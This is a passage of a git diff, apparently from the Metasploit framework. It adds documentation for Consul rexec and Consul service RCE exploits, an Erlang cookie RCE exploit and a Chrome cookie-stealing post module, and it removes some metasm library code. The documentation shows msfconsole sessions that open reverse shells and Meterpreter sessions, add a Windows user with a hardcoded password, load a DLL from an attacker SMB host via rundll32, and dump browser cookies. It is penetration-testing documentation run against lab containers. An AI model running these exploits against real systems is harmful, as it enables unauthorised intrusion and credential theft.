(172.22.222.136:4444 -> 172.22.222.142:43262) at 2019-01-10 06:30:52 -0600 + +whoami +cfuser +uname -a +Linux 6bd4238e7ffb 4.15.0-38-generic #41-Ubuntu SMP Wed Oct 10 10:59:38 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux +exit +[*] 172.22.222.142 - Command shell session 1 closed. +msf5 exploit(multi/http/coldfusion_ckeditor_file_upload) > +``` diff --git a/documentation/modules/exploit/multi/misc/consul_rexec_exec.md b/documentation/modules/exploit/multi/misc/consul_rexec_exec.md new file mode 100644 index 000000000000..d3c8eba60f77 --- /dev/null +++ b/documentation/modules/exploit/multi/misc/consul_rexec_exec.md @@ -0,0 +1,107 @@ +## Vulnerable Application + +[HashiCorp Consul](https://www.consul.io/) with `disable_remote_exec` configuration flag set to false (default configuration up to version 0.8, opt-in since version 0.9). + +### Description + +This module exploits a feature of Hashicorp Consul named rexec. + +The exec command provides a mechanism for remote execution. For example, this can be used to run the uptime command across all machines providing the web service. + +The exposure of rexec service depends on the `disable_remote_exec` option. This option was set to true starting from Consul 0.8, to make remote exec opt-in instead of opt-out. + + +#### References + +* Consul Exec - https://www.consul.io/docs/commands/exec.html +* Consul _disable_remote_exec_ option - https://www.consul.io/docs/agent/options.html#disable_remote_exec +* Inspiration from Garfield PoC - https://github.com/torque59/Garfield + +### Test setup + +The following bash script can be used to setup a testing environment with Docker: + +``` +#!/bin/sh + +echo "[+] Launching consul instances..." +BOOTSTRAP_ID=`docker run -p8301:8301 -d --name=consul_bootstrap_server consul:latest agent -server -client=0.0.0.0 -bootstrap -data-dir /tmp/consul` +sleep 2 +BOOTSTRAP_IP=`docker inspect --format '{{ .NetworkSettings.IPAddress }}' $BOOTSTRAP_ID` +docker run -d --name=consul_client_1 -e 'CONSUL_LOCAL_CONFIG={"leave_on_terminate": true, "enable_script_checks":true, "disable_remote_exec":false}' consul:latest agent -ui -client=0.0.0.0 -retry-join=$BOOTSTRAP_IP +echo "[+] Checking members..." +docker exec -t consul_bootstrap_server consul members -http-addr="$BOOTSTRAP_IP:8500" +``` + +You should observe something similar to the excerpt below when running the script: + +``` +sudo ./launch.sh +[+] Launching consul instances... +d28e7cf476ff2f148cad81a0b1959a7c67591c2e348c6172b6f463af66d1eb9a +[+] Checking members... +Node Address Status Type Build Protocol DC Segment +38a7c1d93e7f 172.17.0.1:8301 alive server 1.4.0 2 dc1 +d28e7cf476ff 172.17.0.2:8301 alive client 1.4.0 2 dc1 +``` + +The following bash script can be used to stop and destroy **all your consul containers** (so be careful if you use consul containers for other things at the same time): + +``` +#!/bin/sh +for h in `sudo docker ps -a | grep consul | cut -d' ' -f1`; do docker stop $h && docker rm $h; done +``` + +## Verification Steps + +You can verify the module against the vulnerable application with those steps: + + 1. Launch a Consul cluster with the provided bash script + 2. Start msfconsole + 3. Do: `use exploit/multi/misc/consul_rexec_exec` + 4. Do: `set RHOST ip_of_consul_container` + 5. Do: `set RPORT 8500` + 6. Do: `check`. The target should appear vulnerable. + 7. Do: `set payload` with the payload of your choosing. + 8. Do: `set LHOST 172.17.42.1` (docker0 gateway IP) + 9. Do: `run` + 10. You should get a shell. + +## Scenarios + +### Reverse shell on Linux host + +Exploit running against a Docker [consul](https://hub.docker.com/_/consul/) container target: + +``` +msf5 > use exploit/multi/misc/consul_rexec_exec +msf5 exploit(multi/misc/consul_rexec_exec) > set RHOSTS 172.17.0.4 +RHOSTS => 172.17.0.4 +msf5 exploit(multi/misc/consul_rexec_exec) > set payload linux/x86/meterpreter/reverse_tcp +payload => linux/x86/meterpreter/reverse_tcp +msf5 exploit(multi/misc/consul_rexec_exec) > set LHOST 172.17.42.1 +LHOST => 172.17.42.1 +msf5 exploit(multi/misc/consul_rexec_exec) > check +[+] 172.17.0.4:8500 The target is vulnerable. +msf5 exploit(multi/misc/consul_rexec_exec) > run + +[*] Started reverse TCP handler on 172.17.42.1:4444 +[*] Creating session. +[*] Got rexec session ID b39ba52e-848d-9dc4-dc1e-e84760062335 +[*] Setting command for rexec session b39ba52e-848d-9dc4-dc1e-e84760062335 +[*] Triggering execution on rexec session b39ba52e-848d-9dc4-dc1e-e84760062335 +[*] Sending stage (861480 bytes) to 172.17.0.4 +[*] Cleaning up rexec session b39ba52e-848d-9dc4-dc1e-e84760062335 +[*] Command Stager progress - 115.73% done (883/763 bytes) + +meterpreter > sysinfo +Computer : 172.17.0.4 +OS : (Linux 4.4.0-38-generic) +Architecture : x64 +BuildTuple : i486-linux-musl +Meterpreter : x86/linux +meterpreter > exit +[*] Shutting down Meterpreter... + +[*] 172.17.0.4 - Meterpreter session 1 closed. Reason: User exit +``` diff --git a/documentation/modules/exploit/multi/misc/consul_service_exec.md b/documentation/modules/exploit/multi/misc/consul_service_exec.md new file mode 100644 index 000000000000..a6407e457935 --- /dev/null +++ b/documentation/modules/exploit/multi/misc/consul_service_exec.md @@ -0,0 +1,101 @@ +## Vulnerable Application + +[HashiCorp Consul](https://www.consul.io/) with `-enable-script-checks` configuration flag set to true, or running version 0.9.0 or earlier, with Consul API available on an interface that can be accessed over the network. + +### Description + +This module exploits Hashicorp Consul's Services API to gain remote command execution on a Consul node. + +The exposure of the Services API depends on the `enable_script_checks` option. This option is opt-in for Consul nodes operators. + +#### References + +* Consul Services API - https://www.consul.io/api/agent/service.html +* Inspiration from Garfield PoC - https://github.com/torque59/Garfield +* Protecting Consul from RCE Risk in Specific Configurations - [https://www.hashicorp.com/blog/protecting-consul-from-rce-risk-in-specific-configurations](https://www.hashicorp.com/blog/protecting-consul-from-rce-risk-in-specific-configurations) + +### Test setup + +The following bash script can be used to setup a testing environment with Docker: + +``` +#!/bin/sh + +echo "[+] Launching consul instances..." +BOOTSTRAP_ID=`docker run -p8301:8301 -d --name=consul_bootstrap_server consul:1.0.7 agent -server -client=0.0.0.0 -bootstrap -data-dir /tmp/consul` +sleep 2 +BOOTSTRAP_IP=`docker inspect --format '{{ .NetworkSettings.IPAddress }}' $BOOTSTRAP_ID` +docker run -d --name=consul_client_1 -e 'CONSUL_LOCAL_CONFIG={"leave_on_terminate": true, "enable_script_checks":true, "disable_remote_exec":false}' consul:1.0.7 agent -ui -client=0.0.0.0 -retry-join=$BOOTSTRAP_IP +echo "[+] Checking members..." +docker exec -t consul_bootstrap_server consul members -http-addr="$BOOTSTRAP_IP:8500" +``` + +You should observe something similar to the excerpt below when running the script: + +``` +[+] Launching consul instances... +138b09eff12867fcc436b8f5d6366c5aebf3be54864789a675e133a865d436bf +[+] Checking members... +Node Address Status Type Build Protocol DC Segment +36e14072dec5 172.17.0.1:8301 alive server 1.0.7 2 dc1 +138b09eff128 172.17.0.2:8301 alive client 1.0.7 2 dc1 +``` + +The following bash script can be used to stop and destroy **all your consul containers** (so be careful if you use consul containers for other things at the same time): + +``` +#!/bin/sh +for h in `sudo docker ps -a | grep consul | cut -d' ' -f1`; do sudo docker stop $h && sudo docker rm $h; done +``` + +## Verification Steps + +You can verify the module against the vulnerable application with those steps: + + 1. Launch a Consul cluster with the provided bash script + 2. Start msfconsole + 3. Do: `use exploit/multi/misc/consul_service_exec` + 4. Do: `set RHOST 172.17.0.2` + 5. Do: `set RPORT 8500` + 6. Do: `check`. The target should appear vulnerable. + 7. Do: `set payload` with the payload of your choosing. + 8. Do: `set LHOST 172.17.42.1` (docker0 gateway IP) + 9. Do: `run` + 10. You should get a shell. + +## Scenarios + +### Reverse shell on Linux host + +Exploit running against a Docker [consul](https://hub.docker.com/_/consul/) container target: + +``` +msf5 > use exploit/multi/misc/consul_service_exec +msf5 exploit(multi/misc/consul_service_exec) > set RHOSTS 172.17.0.4 +RHOSTS => 172.17.0.4 +msf5 exploit(multi/misc/consul_service_exec) > set payload linux/x86/meterpreter/reverse_tcp +payload => linux/x86/meterpreter/reverse_tcp +msf5 exploit(multi/misc/consul_service_exec) > set LHOST 172.17.42.1 +LHOST => 172.17.42.1 +msf5 exploit(multi/misc/consul_service_exec) > check +[+] 172.17.0.4:8500 The target is vulnerable. +msf5 exploit(multi/misc/consul_rexec_exec) > run + +[*] Started reverse TCP handler on 172.17.42.1:4444 +[*] Creating service 'BBBDX' +[*] Service 'BBBDX' successfully created. +[*] Waiting for service 'BBBDX' script to trigger +[*] Sending stage (861480 bytes) to 172.17.0.4 +[*] Removing service 'BBBDX' +[*] Command Stager progress - 115.73% done (883/763 bytes) + +meterpreter > sysinfo +Computer : 172.17.0.4 +OS : (Linux 4.4.0-38-generic) +Architecture : x64 +BuildTuple : i486-linux-musl +Meterpreter : x86/linux +meterpreter > exit +[*] Shutting down Meterpreter... +[*] 172.17.0.4 - Meterpreter session 1 closed. Reason: User exit +``` diff --git a/documentation/modules/exploit/multi/misc/erlang_cookie_rce.md b/documentation/modules/exploit/multi/misc/erlang_cookie_rce.md new file mode 100644 index 000000000000..7c842a2c5a6c --- /dev/null +++ b/documentation/modules/exploit/multi/misc/erlang_cookie_rce.md @@ -0,0 +1,154 @@ +## Vulnerable Application + + The [Erlang Port Mapper Daemon](https://www.erlang.org/) is used to coordinate distributed erlang + instances. Should an attacker get the authentication cookie code execution is trivial. Normally this + cookie can be found in the home directory as ".erlang.cookie", however it varies system to system + as well as its configuration. As an example on a Windows 10 instance it can be found under the + users home directory: e.g `C:\Users\\.erlang.cookie`. Code execution is achieved via the + `os:cmd('cmd').` command + +## Verification Steps + + 1. Install the Erlang Port Mapper Daemon + 2. Install RabbitMQ + 3. Start `msfconsole` + 4. Do `use exploit/multi/misc/erlang_cookie_rce` + 5. Do `set RHOST ` + 6. Do `set COOKIE ` + 7. Do `set TARGET ` + 8. Do `set LHOST ` + 9. `exploit` and verify shell is opened (if on windows login) + +## Scenarios + +### Ubuntu 16.04.5 LTS + +``` +msf exploit(multi/misc/erlang_cookie_rce) > options + +Module options (exploit/multi/misc/erlang_cookie_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + COOKIE EXAMPLE yes Erlang cookie to login with + RHOST A.B.C.D yes The target address + RPORT 25672 yes The target port (TCP) + + +Payload options (cmd/unix/reverse): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST W.X.Y.Z yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Unix + + +msf exploit(multi/misc/erlang_cookie_rce) > exploit + +[*] Started reverse TCP double handler on W.X.Y.Z:4444 +[*] A.B.C.D:25672 - Receiving server challenge +[*] A.B.C.D:25672 - Sending challenge reply +[+] A.B.C.D:25672 - Authentication successful, sending payload +[*] Accepted the first client connection... +[*] Accepted the second client connection... +[*] Command: echo XinIWxzXWDO5x9EM; +[*] Writing to socket A +[*] Writing to socket B +[*] Reading from sockets... +[*] Reading from socket B +[*] B: "XinIWxzXWDO5x9EM\r\n" +[*] Matching... +[*] A is input... +[*] Command shell session 1 opened (W.X.Y.Z:4444 -> A.B.C.D:46410) at 2018-12-09 14:45:47 -0600 + +id +uid=122(rabbitmq) gid=130(rabbitmq) groups=130(rabbitmq) +``` + +### Windows 10 (Build 17134) + +First we want to exploit the host, as an example adding a new user. (Payload is executed over cmd.exe) + +``` +msf exploit(multi/misc/erlang_cookie_rce) > options + +Module options (exploit/multi/misc/erlang_cookie_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + COOKIE EXAMPLE yes Erlang cookie to login with + RHOST A.B.C.D yes The target address + RPORT 25672 yes The target port (TCP) + + +Payload options (cmd/windows/adduser): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + CUSTOM no Custom group name to be used instead of default + PASS Wetw0rkHax0r$1 yes The password for this user + USER wetw0rk yes The username to create + WMIC false yes Use WMIC on the target to resolve administrators group + + +Exploit target: + + Id Name + -- ---- + 1 Windows + + +msf exploit(multi/misc/erlang_cookie_rce) > exploit + +[*] A.B.C.D:25672 - Receiving server challenge +[*] A.B.C.D:25672 - Sending challenge reply +[+] A.B.C.D:25672 - Authentication successful, sending payload +[*] Exploit completed, but no session was created. +``` + +Once exploitation is complete the tester can authenticate. Another method that can be used is SMB as shown below. + +exploit.rc -> + +``` +use exploit/windows/smb/smb_delivery +set SHARE MSF +set TARGET 0 +exploit -j +use exploit/multi/misc/erlang_cookie_rce +set COOKIE EXAMPLE +set TARGET 1 +set RHOST A.B.C.D +set PAYLOAD cmd/windows/generic +set CMD "rundll32.exe \\\\W.X.Y.Z\MSF\test.dll,0" +exploit -j +``` + +``` +msf > resource exploit.rc +[*] Processing /root/exploit.rc for ERB directives. +[*] Exploit running as background job 0. +[*] Started reverse TCP handler on W.X.Y.Z:4444 +[*] Started service listener on W.X.Y.Z:445 +[*] Server started. +[*] Run the following command on the target machine: rundll32.exe \\W.X.Y.Z\MSF\test.dll,0 +[*] Exploit running as background job 1. +[*] A.B.C.D:25672 - Receiving server challenge +[*] A.B.C.D:25672 - Sending challenge reply +[+] A.B.C.D:25672 - Authentication successful, sending payload +[*] Sending stage (179779 bytes) to A.B.C.D +[*] Meterpreter session 1 opened (W.X.Y.Z:4444 -> A.B.C.D:51856) at 2018-12-18 14:45:02 -0600 +[*] Exploit completed, but no session was created. +msf exploit(multi/misc/erlang_cookie_rce) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +``` diff --git a/documentation/modules/post/multi/gather/chrome_cookies.md b/documentation/modules/post/multi/gather/chrome_cookies.md new file mode 100644 index 000000000000..8a68f438f95f --- /dev/null +++ b/documentation/modules/post/multi/gather/chrome_cookies.md @@ -0,0 +1,79 @@ +## Gather Chrome Cookies + +Uses [Headless Chrome](https://developers.google.com/web/updates/2017/04/headless-chrome) and [Chrome's Remote Debugging](https://chromedevtools.github.io/devtools-protocol/) to read all cookies from the Default Chrome profile of the user. + +## Opsec + +This writes to disk temporarily. You may want to consider the tradeoff between getting the user's Chrome cookies and the noisiness of writing to disk. + +The module writes a random 10-15 character file containing HTML to a directory you can specify via `WRITABLE_DIR`. + +## Vulnerable Application + +This technique works on Chrome 59 or later on all operating systems. This module has been tested on Windows, Linux, and OSX. Windows shell sessions are currently not supported. + +Chrome does not need to be running on the target machine for this module to work. + +## Verification Steps + + 1. Obtain a session on the target machine + 2. Do: ```use post/multi/gather/chrome_cookies``` + 3. Do: ```set SESSION ``` + 4. Do: ```run``` + 5. The current user's Chrome cookies will be stored as loot + +## Options + + **CHROME_BINARY_PATH** + + The path to the user's Chrome binary. On Linux this defaults to searching for `google-chrome` in `$PATH`. On macOS, this defaults to `/Applications/Google Chrome.app/Contents/MacOS/Google Chrome'`. If the module doesn't find any cookies, it may be that a different Chrome binary to the one the user normally uses is being run. In that case, you can change the Chrome binary executed with this option. + + **WRITABLE_DIR** + + Directory used to write temporary files. + + Two files are written, with random 10-15 character alphanumeric filenames. One file contains an html file for Chrome and the other is where the cookies are saved. Both files are deleted during cleanup. + + **REMOTE_DEBUGGING_PORT** + + Port to tell Chrome to expose Remote Debugging on. Default is the normal remote debugging port, `9222`. + +## Scenarios + +### Linux (or OS X) + + Suppose you've got a session on the target machine. + + To extract the target user's Chrome cookies + +``` +msf > use post/multi/gather/chrome_cookies +msf post(multi/gather/chrome_cookies) > options + +Module options (post/multi/gather/chrome_cookies): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + CHROME_BINARY_PATH no The path to the user's Chrome binary (leave blank to use the default for the OS) + REMOTE_DEBUGGING_PORT 9222 no Port on target machine to use for remote debugging protocol + SESSION 1 yes The session to run this module on. + WRITABLE_DIR /tmp no Where to write the html used to steal cookies temporarily + +msf post(multi/gather/chrome_cookies) > set session +session => +msf post(multi/gather/chrome_cookies) > run + +[*] Activated Chrome's Remote Debugging via google-chrome --headless --disable-web-security --disable-plugins --user-data-dir="/home//.config/google-chrome/" --remote-debugging-port=9222 /tmp/qj9ADWM6Xqh +[+] 1473 Chrome Cookies stored in /home//.msf4/loot/20181209094655_default_127.0.0.1_chrome.gather.co_585357.txt +[*] Post module execution completed +``` + +## Future features + +### Profiles +This module only extracts cookies from the default Chrome profile. The target may have multiple, and you may which to extract cookies from all of them. This would require enumerating and extracting the profiles by name. Example code to extract cookies from a non-default Chrome profile can be found at https://github.com/defaultnamehere/cookie_crimes. + +## See also +See https://github.com/defaultnamehere/cookie_crimes for more information and manual instructions for Windows. + +See https://mango.pdf.zone/stealing-chrome-cookies-without-a-password for the blog post in which this technique was first published. diff --git a/lib/metasm/metasm/exe_format/javaclass.rb b/lib/metasm/metasm/exe_format/javaclass.rb deleted file mode 100644 index c9678747c23e..000000000000 --- a/lib/metasm/metasm/exe_format/javaclass.rb +++ /dev/null @@ -1,424 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/exe_format/main' -require 'metasm/encode' -require 'metasm/decode' - -module Metasm - -class JavaClass < ExeFormat - MAGIC = "\xCA\xFE\xBA\xBE" - - CONSTANT_TAG = {0x1 => 'Utf8', 0x3 => 'Integer', - 0x4 => 'Float', 0x5 => 'Long', - 0x6 => 'Double', 0x7 => 'Class', - 0x8 => 'String', 0x9 => 'Fieldref', - 0xa => 'Methodref', 0xb => 'InterfaceMethodref', - 0xc => 'NameAndType' } - - class SerialStruct < Metasm::SerialStruct - new_int_field :u1, :u2, :u4 - end - - class Header < SerialStruct - mem :magic, 4, MAGIC - u2 :minor_version - u2 :major_version - end - - class ConstantPool < SerialStruct - u2 :constant_pool_count - attr_accessor :constant_pool - - def decode(c) - super(c) - - @constant_pool = [nil] - - i = 1 - while i < @constant_pool_count - entry = ConstantPoolInfo.decode(c) - entry.idx = i - @constant_pool << entry - i += 1 - - if entry.tag =~ /Long|Double/ - # we must insert a phantom cell - # for long and double constants - @constant_pool << nil - i += 1 - end - end - end - - def encode(c) - cp = super(c) - - @constant_pool.each { |entry| - next if entry.nil? - cp << entry.encode(c) - } - cp - end - - def [](idx) - @constant_pool[idx] - end - - def []=(idx, val) - raise 'cannot be used to add a cp entry' if @constant_pool[idx].nil? - @constant_pool[idx] = val - end - end - - class ConstantPoolInfo < SerialStruct - u1 :tag - fld_enum :tag, CONSTANT_TAG - attr_accessor :info, :idx - - def decode(c) - super(c) - - case @tag - when 'Utf8' - @info = ConstantUtf8.decode(c) - when /Integer|Float/ - @info = ConstantIntFloat.decode(c) - when /Long|Double/ - @info = ConstantLongDouble.decode(c) - when /Class|String/ - @info = ConstantIndex.decode(c) - when /ref$/ - @info = ConstantRef.decode(c) - when 'NameAndType' - @info = ConstantNameAndType.decode(c) - else - raise 'unknown constant tag' - return - end - end - - def encode(c) - super(c) << @info.encode(c) - end - end - - class ConstantUtf8 < SerialStruct - u2 :length - attr_accessor :bytes - - def decode(c) - super(c) - @bytes = c.encoded.read(@length) - end - - def encode(c) - super(c) << @bytes - end - end - - class ConstantIntFloat < SerialStruct - u4 :bytes - end - - class ConstantLongDouble < SerialStruct - u4 :high_bytes - u4 :low_bytes - end - - class ConstantIndex < SerialStruct - u2 :index - end - - class ConstantRef < SerialStruct - u2 :class_index - u2 :name_and_type_index - end - - class ConstantNameAndType < SerialStruct - u2 :name_index - u2 :descriptor_index - end - - class ClassInfo < SerialStruct - u2 :access_flags - u2 :this_class - u2 :super_class - end - - class Interfaces < SerialStruct - u2 :interfaces_count - attr_accessor :interfaces - - def decode(c) - super(c) - - @interfaces = [] - @interfaces_count.times { - @interfaces << ConstantIndex.decode(c) - } - end - - def encode(c) - ret = super(c) - - @interfaces.each { |e| - ret << e.encode(c) - } - ret - end - - def [](idx) - @interfaces[idx] - end - end - - class Fields < SerialStruct - u2 :fields_count - attr_accessor :fields - - def decode(c) - super(c) - @fields = [] - @fields_count.times { - @fields << FieldMethodInfo.decode(c) - } - end - - def encode(c) - ret = super(c) - - @fields.each { |e| - ret << e.encode(c) - } - ret - end - - def [](idx) - @fields[idx] - end - end - - class Methods < SerialStruct - u2 :methods_count - attr_accessor :methods - - def decode(c) - super(c) - @methods = [] - @methods_count.times { - @methods << FieldMethodInfo.decode(c) - } - end - - def encode(c) - ret = super(c) - - @methods.each { |e| - ret << e.encode(c) - } - ret - end - - def [](idx) - @methods[idx] - end - end - - class FieldMethodInfo < SerialStruct - u2 :access_flags - u2 :name_index - u2 :descriptor_index - attr_accessor :attributes - - def decode(c) - super(c) - @attributes = Attributes.decode(c) - end - - def encode(c) - super(c) << @attributes.encode(c) - end - end - - class Attributes < SerialStruct - u2 :attributes_count - attr_accessor :attributes - - def decode(c) - super(c) - - @attributes = [] - @attributes_count.times { |i| - @attributes << AttributeInfo.decode(c) - } - end - - def encode(c) - ret = super(c) - - @attributes.each { |e| - ret << e.encode(c) - } - ret - end - - def [](idx) - @attributes[idx] - end - end - - class AttributeInfo < SerialStruct - u2 :attribute_name_index - u4 :attribute_length - attr_accessor :data - - def decode(c) - super(c) - @data = c.encoded.read(@attribute_length) - end - - def encode(c) - super(c) << @data - end - end - - def encode_u1(val) Expression[val].encode(:u8, @endianness) end - def encode_u2(val) Expression[val].encode(:u16, @endianness) end - def encode_u4(val) Expression[val].encode(:u32, @endianness) end - def decode_u1(edata = @encoded) edata.decode_imm(:u8, @endianness) end - def decode_u2(edata = @encoded) edata.decode_imm(:u16, @endianness) end - def decode_u4(edata = @encoded) edata.decode_imm(:u32, @endianness) end - def sizeof_u1 ; 1 ; end - def sizeof_u2 ; 2 ; end - def sizeof_u4 ; 4 ; end - - attr_accessor :header, :constant_pool, :class_info, :interfaces, :fields, :methods, :attributes - - def initialize(endianness=:big) - @endianness = endianness - @encoded = EncodedData.new - super() - end - - def decode - @header = Header.decode(self) - @constant_pool = ConstantPool.decode(self) - @class_info = ClassInfo.decode(self) - @interfaces = Interfaces.decode(self) - @fields = Fields.decode(self) - @methods = Methods.decode(self) - @attributes = Attributes.decode(self) - end - - def encode - @encoded = EncodedData.new - @encoded << @header.encode(self) - @encoded << @constant_pool.encode(self) - @encoded << @class_info.encode(self) - @encoded << @interfaces.encode(self) - @encoded << @fields.encode(self) - @encoded << @methods.encode(self) - @encoded << @attributes.encode(self) - @encoded.data - end - - def cpu_from_headers - raise 'JVM' - end - - def each_section - raise 'n/a' - end - - def get_default_entrypoints - [] - end - - def string_at(idx) - loop do - tmp = @constant_pool[idx].info - return tmp.bytes if tmp.kind_of? ConstantUtf8 - idx = tmp.index - end - end - - def decode_methodref(mref) - class_idx = mref.info.class_index - nt_idx = mref.info.name_and_type_index - name_idx = @constant_pool[nt_idx].info.name_index - desc_idx = @constant_pool[nt_idx].info.descriptor_index - - string_at(class_idx) + '/' + string_at(name_idx) + string_at(desc_idx) - end - - def cp_add(cpi, tag) - cpe = ConstantPoolInfo.new - cpe.tag = tag - cpe.info = cpi - cpe.idx = @constant_pool.constant_pool_count - - @constant_pool.constant_pool << cpe - @constant_pool.constant_pool_count += 1 - @constant_pool.constant_pool_count += 1 if tag =~ /Long|Double/ - - cpe.idx - end - - def cp_find(tag) - constant_pool.constant_pool.each { |e| - next if !e or e.tag != tag - if yield(e.info) - return e.idx - end - } - nil - end - - - def cp_auto_utf8(string) - if idx = cp_find('Utf8') { |i| i.bytes == string } - return idx - end - - cpi = ConstantUtf8.new - cpi.bytes = string - cpi.length = string.length - cp_add(cpi, 'Utf8') - end - - def cp_auto_class(classname) - if idx = cp_find('Class') { |i| string_at(i.index) == classname } - return idx - end - - cpi = ConstantIndex.new - cpi.index = cp_auto_utf8(classname) - cp_add(cpi, 'Class') - end - - def cp_add_methodref(classname, name, descriptor) - nat = ConstantNameAndType.new - nat.name_index = cp_auto_utf8(name) - nat.descriptor_index = cp_auto_utf8(descriptor) - natidx = cp_add(nat, 'NameAndType') - - cpi = ConstantRef.new - cpi.class_index = cp_auto_class(classname) - cpi.name_and_type_index = natidx - - cp_add(cpi, 'Methodref') - end - - def attribute_create(name, data) - a = AttributeInfo.new - a.attribute_name_index = cp_auto_utf8(name) - a.attribute_length = data.size - a.data = data - a - end -end -end diff --git a/lib/metasm/metasm/main.rb b/lib/metasm/metasm/main.rb deleted file mode 100644 index cef8eda375a8..000000000000 --- a/lib/metasm/metasm/main.rb +++ /dev/null @@ -1,1318 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -module Metasm - -VERSION = 0x0001 # major major minor minor - -# superclass for all metasm exceptions -class Exception < RuntimeError ; end -# parse error -class ParseError < Exception ; end -# invalid exeformat signature -class InvalidExeFormat < Exception ; end -# cannot honor .offset specification, reloc fixup overflow -class EncodeError < Exception ; end - -# holds context of a processor -# endianness, current mode, opcode list... -class CPU - attr_accessor :valid_args, :valid_props, :fields_mask - attr_accessor :endianness, :size - attr_accessor :generate_PIC - - def opcode_list - @opcode_list ||= init_opcode_list - end - def opcode_list=(l) @opcode_list = l end - - def initialize - @fields_mask = {} - @fields_shift= {} - @valid_args = {} - @valid_props = { :setip => true, :saveip => true, :stopexec => true } - @generate_PIC = true - end - - # returns a hash opcode_name => array of opcodes with this name - def opcode_list_byname - @opcode_list_byname ||= opcode_list.inject({}) { |h, o| (h[o.name] ||= []) << o ; h } - end - - # sets up the C parser : standard macro definitions, type model (size of int etc) - def tune_cparser(cp) - case @size - when 64; cp.lp64 - when 32; cp.ilp32 - when 16; cp.ilp16 - end - cp.endianness = @endianness - cp.lexer.define_weak('_STDC', 1) - # TODO gcc -dM -E - field - # position is bit shift for risc, [byte index, bit shift] for risc - # field is cpu-specific - attr_accessor :fields - # hash of opcode generic properties/restrictions (mostly property => true/false) - attr_accessor :props - # binary mask for decoding - attr_accessor :bin_mask - - def initialize(name, bin=nil) - @name = name - @bin = bin - @args = [] - @fields = {} - @props = {} - end - - def basename - @name.sub(/\..*/, '') - end - - def dup - o = Opcode.new(@name.dup, @bin) - o.bin = @bin.dup if @bin.kind_of?(::Array) - o.args = @args.dup - o.fields = @fields.dup - o.props = @props.dup - o - end -end - -# defines an attribute self.backtrace (array of filename/lineno) -# and a method backtrace_str which dumps this array to a human-readable form -module Backtrace - # array [file, lineno, file, lineno] - # if file 'A' does #include 'B' you'll get ['A', linenoA, 'B', linenoB] - attr_accessor :backtrace - - # builds a readable string from self.backtrace - def backtrace_str - Backtrace.backtrace_str(@backtrace) - end - - # builds a readable backtrace string from an array of [file, lineno, file, lineno, ..] - def self.backtrace_str(ary) - return '' if not ary - i = ary.length - bt = '' - while i > 0 - bt << ",\n\tincluded from " if ary[i] - i -= 2 - bt << "#{ary[i].inspect} line #{ary[i+1]}" - end - bt - end - - def exception(msg='syntax error') - ParseError.new "at #{backtrace_str}: #{msg}" - end -end - -# an instruction: opcode name + arguments -class Instruction - # arguments (cpu-specific objects) - attr_accessor :args - # hash of prefixes (unused in simple cpus) - attr_accessor :prefix - # name of the associated opcode - attr_accessor :opname - # reference to the cpu which issued this instruction (used for rendering) - attr_accessor :cpu - - include Backtrace - - def initialize(cpu, opname=nil, args=[], pfx=nil, backtrace=nil) - @cpu = cpu - @opname = opname - @args = args - @prefix = pfx if pfx - @backtrace = backtrace - end - - # duplicates the argument list and prefix hash - def dup - Instruction.new(@cpu, (@opname.dup if opname), @args.dup, (@prefix.dup if prefix), (@backtrace.dup if backtrace)) - end -end - -# all kind of data description (including repeated/uninitialized) -class Data - # maps data type to Expression parameters (signedness/bit size) - INT_TYPE = {'db' => :a8, 'dw' => :a16, 'dd' => :a32, 'dq' => :a64} - - # an Expression, an Array of Data, a String, or :uninitialized - attr_accessor :data - # the data type, from INT_TYPE (TODO store directly Expression parameters ?) - attr_accessor :type - # the repetition count of the data parameter (dup constructs) - attr_accessor :count - - include Backtrace - - def initialize(type, data, count=1, backtrace=nil) - @data, @type, @count, @backtrace = data, type, count, backtrace - end -end - -# a name for a location -class Label - attr_accessor :name - - include Backtrace - - def initialize(name, backtrace=nil) - @name, @backtrace = name, backtrace - end -end - -# alignment directive -class Align - # the size to align to - attr_accessor :val - # the Data used to pad - attr_accessor :fillwith - - include Backtrace - - def initialize(val, fillwith=nil, backtrace=nil) - @val, @fillwith, @backtrace = val, fillwith, backtrace - end -end - -# padding directive -class Padding - # Data used to pad - attr_accessor :fillwith - - include Backtrace - - def initialize(fillwith=nil, backtrace=nil) - @fillwith, @backtrace = fillwith, backtrace - end -end - -# offset directive -# can be used to fix padding length or to assert some code/data compiled length -class Offset - # the assembler will arrange to make this pseudo-instruction - # be at this offset from beginning of current section - attr_accessor :val - - include Backtrace - - def initialize(val, backtrace=nil) - @val, @backtrace = val, backtrace - end -end - -# the superclass of all real executable formats -# main methods: -# self.decode(str) => decodes the file format (imports/relocs/etc), no asm disassembly -# parse(source) => parses assembler source, fills self.source -# assemble => assembles self.source in binary sections/segments/whatever -# encode => builds imports/relocs tables, put all this together, links everything in self.encoded -class ExeFormat - # array of Data/Instruction/Align/Padding/Offset/Label, populated in parse - attr_accessor :cursource - # contains the binary version of the compiled program (EncodedData) - attr_accessor :encoded - # hash of labels generated by new_label - attr_accessor :unique_labels_cache - - # initializes self.cpu, creates an empty self.encoded - def initialize(cpu=nil) - @cpu = cpu - @encoded = EncodedData.new - @unique_labels_cache = {} - end - - attr_writer :cpu # custom reader - def cpu - @cpu ||= cpu_from_headers - end - - # return the label name corresponding to the specified offset of the encodeddata, creates it if necessary - def label_at(edata, offset, base = '') - if not l = edata.inv_export[offset] - edata.add_export(l = new_label(base), offset) - end - l - end - - # creates a new label, that is guaranteed to never be returned again as long as this object (ExeFormat) exists - def new_label(base = '') - base = base.dup.tr('^a-zA-Z0-9_', '_') - # use %x with absolute value to avoid negative number formatting - base = (base << '_uuid' << ('%08x' % base.object_id.abs)).freeze if base.empty? or @unique_labels_cache[base] - @unique_labels_cache[base] = true - base - end - - # share self.unique_labels_cache with other, checks for conflicts, returns 